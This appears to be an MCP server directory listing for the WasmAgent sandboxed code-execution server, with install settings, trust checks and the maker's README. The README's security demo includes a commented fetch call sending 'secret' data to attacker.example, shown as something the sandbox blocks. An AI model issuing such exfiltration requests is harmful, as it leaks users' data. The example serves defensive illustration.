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Telleroutlook MCP

by WasmAgentversion 1.1.1i★ –iRuns on your computer
Registry nameio.github.telleroutlook/mcp-server

Install

Overview

Description from the maker (original English)

WasmAgent MCP server — WASM-sandboxed code execution with capability manifests and Tasks API.

PopNx MCP’s three pillars

These three are never merged into one score: opinions, measurements and popularity are different things.

What you can do with it

We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.

  • Connection: Runs on your computer
  • Transport: stdio
  • Category: Other

Install

Pick the AI app you use, then copy the settings.

Before you install

  • Basic checks: 0 of 1 passed
  • Runs on your computer with your user’s permissions (files, network, apps).
  • The registry lists no key to fill in.

You need

  • npmNode.js installed (for the npx command)

Which app do you use?

Pick your app above. We remember it, so next time the button says “Install in …”.

Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json

{
  "mcpServers": {
    "telleroutlook": {
      "command": "npx",
      "args": [
        "-y",
        "@wasmagent/mcp-server"
      ]
    }
  }
}

Run this in your terminal

claude mcp add telleroutlook -- npx -y @wasmagent/mcp-server

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "telleroutlook": {
      "command": "npx",
      "args": [
        "-y",
        "@wasmagent/mcp-server"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "telleroutlook": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "@wasmagent/mcp-server"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

This one runs on your computer, and ChatGPT can only connect to servers on the internet. Pick another app.

Your choice stays on this device in a cookie; no account needed.

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

What it can do

Runs on your computer; the tool list appears in your AI app after you install it.

Basic checksi

We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 6, 2026

  • ! Caution

    Maker matches the repo

    The publisher (telleroutlook) is not the repo owner (WasmAgent); someone else may have listed it

  • … Not checked yet

    Still maintained

    We have not read this repo from GitHub yet

  • … Not checked yet

    Has a licence

    We have not read this repo from GitHub yet

  • – Not applicable

    Endpoint responds

    This one runs on your computer; there is no internet endpoint

  • – Not applicable

    Sign-in with OAuth

    Runs on your computer and uses local settings instead

  • … Not checked yet

    No hidden instructions in tool descriptions

    Runs on your computer; we can only read tool lists from internet endpoints

Compared with others in Otheri

  • More stars than 0% of the other 32497 servers in this category
  • Published to the registry more recently than 14% of the other 32497 servers in this category
  • Basic checks equal to or better than 32% of the other 32497 servers in this category

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.

Common questions

Is Telleroutlook MCP safe?

It passed 0 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).

Is it still maintained?

The GitHub repo last changed –, and the latest version (1.1.1) reached the registry 4 months ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Node.js on your computer.

What can I use instead?

In the same category: Spec Driven Development, Remote Desktop Commander, Zoo MCP

Alternatives

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Reading a card:★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi

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Runs on your computer★ 440MITUpdated 14 months ago
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Remote Desktop Commander

by desktop-commander

Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.

Runs in the cloud★ 211Updated yesterday
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Zoo MCP

by KittyCAD

An MCP server that provides access to the Zoo API for various CAD operations and tools.

Runs on your computerUpdated today
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README from the maker

Open the README

Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.

/mcp-server

Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.

Expose any wasmagent agent as a Model Context Protocol (MCP) server.

Part of wasmagent — a TypeScript + WASM agent runtime.

Before / After

Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:

+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";

+import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; +import { ToolRegistry } from "@wasmagent/core";

-// Before: host sees every tool directly — 40 tools × schema = huge context cost -server.setRequestHandler(ListToolsRequestSchema, () => ({

  • tools: [...allFortyTools],

-})); +// After: host sees ONLY docs_search + execute_code; model dispatches internally +const tools = new ToolRegistry(); +// tools.register(...) — register your 40 tools here + +await runStdio(createCodeModeServer({

  • tools,
  • kernel: new QuickJSKernel(),
  • capabilities: { allowedHosts: [], cpuMs: 5_000 },
  • serverInfo: { name: "my-agent", version: "1.0.0" },

+}));

At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)
# Zero-config default — code-mode server with VmKernel and no

downstream tools. Useful for sanity / introspection only.

npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

// server.mjs

import { createCodeModeServer, runStdio } from "/mcp-server/stdio"; import { QuickJSKernel } from "/kernel-quickjs"; import { ToolRegistry } from "/core";

const tools = new ToolRegistry(); // tools.register(...) — your tools here

await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], cpuMs: 5000 }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)
import { createCodeModeServer, createFetchHandler } from "/mcp-server";

const server = createCodeModeServer({ /* … */ }); const handler = createFetchHandler(server); // In a Worker: export default { fetch: handler }

3. Direct handle()

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";

import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; import { ToolRegistry } from "@wasmagent/core";

const tools = new ToolRegistry(); // tools.register(...)

await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], // no outbound network allowedPaths: [], // no filesystem access cpuMs: 5_000, memoryLimitBytes: 64 * 1024 * 1024, }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));

// Model-generated code inside execute_code that tries to exfiltrate data: // fetch("https://attacker.example/exfil?data=secret") // → throws: network access denied — host "attacker.example" not in allowedHosts

The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.

License

Apache-2.0 — © wasmagent contributors

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